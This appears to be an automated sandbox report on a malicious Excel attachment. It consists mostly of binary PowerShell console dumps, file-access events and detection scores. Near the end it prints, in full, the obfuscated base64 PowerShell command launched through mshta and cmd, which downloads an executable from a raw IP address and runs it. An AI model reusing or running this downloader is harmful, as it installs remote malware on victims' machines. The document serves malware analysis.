Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3....... ..........................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............,..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............>..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............J..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............\..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............h..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............z..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3..................................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............(..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............:..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............F..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............X..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............d..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............v..........................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3..................................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............1..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D.......@..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D.......S..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D......._..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D.......q..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D.......}..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(.......D..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3..................................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D....... ..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............5..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............A..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D.......U..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............a..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............v..........................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3..................................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............+..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............A..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............N..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............`..........................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............l..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(...............~..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3..................................s....................".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(..........................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......-..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......:..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......d.......N..........................s....................`.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(...............[..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............(.......D.......p..........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............(.......D.......|..........................s............................h...............
Source: C:\Windows\SysWOW64\reg.exe Console Write: ......................,.........T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.........h.......N.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................._..........................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................k..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......}..........................s....................".......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s....................`.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................0..................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0.......&..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0.......O..........................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0.......[..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......o..........................s....................".......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0.......{..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s....................`.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................8..........................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................E..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......W..........................s....................".......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................c..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s....................`.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................!..........................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................-..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......?..........................s....................".......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................K..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................]..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................i..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................{..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s....................`.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s....................j.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......&..........................s....................".......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................2..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................D..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................`..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................r..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................~..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s....................`.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s....................~.......H...............
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe System information queried: HandleInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: Vaccinerende.exe Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: Vaccinerende.exe Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: Vaccinerende.exe Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: Vaccinerende.exe Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: Vaccinerende.exe Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: Vaccinerende.exe Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: PO 11001 .xls ReversingLabs: Detection: 28%
Source: PO 11001 .xls Virustotal: Detection: 25%
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Evasive API call chain: __getmainargs,DecisionNodes,exit
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; 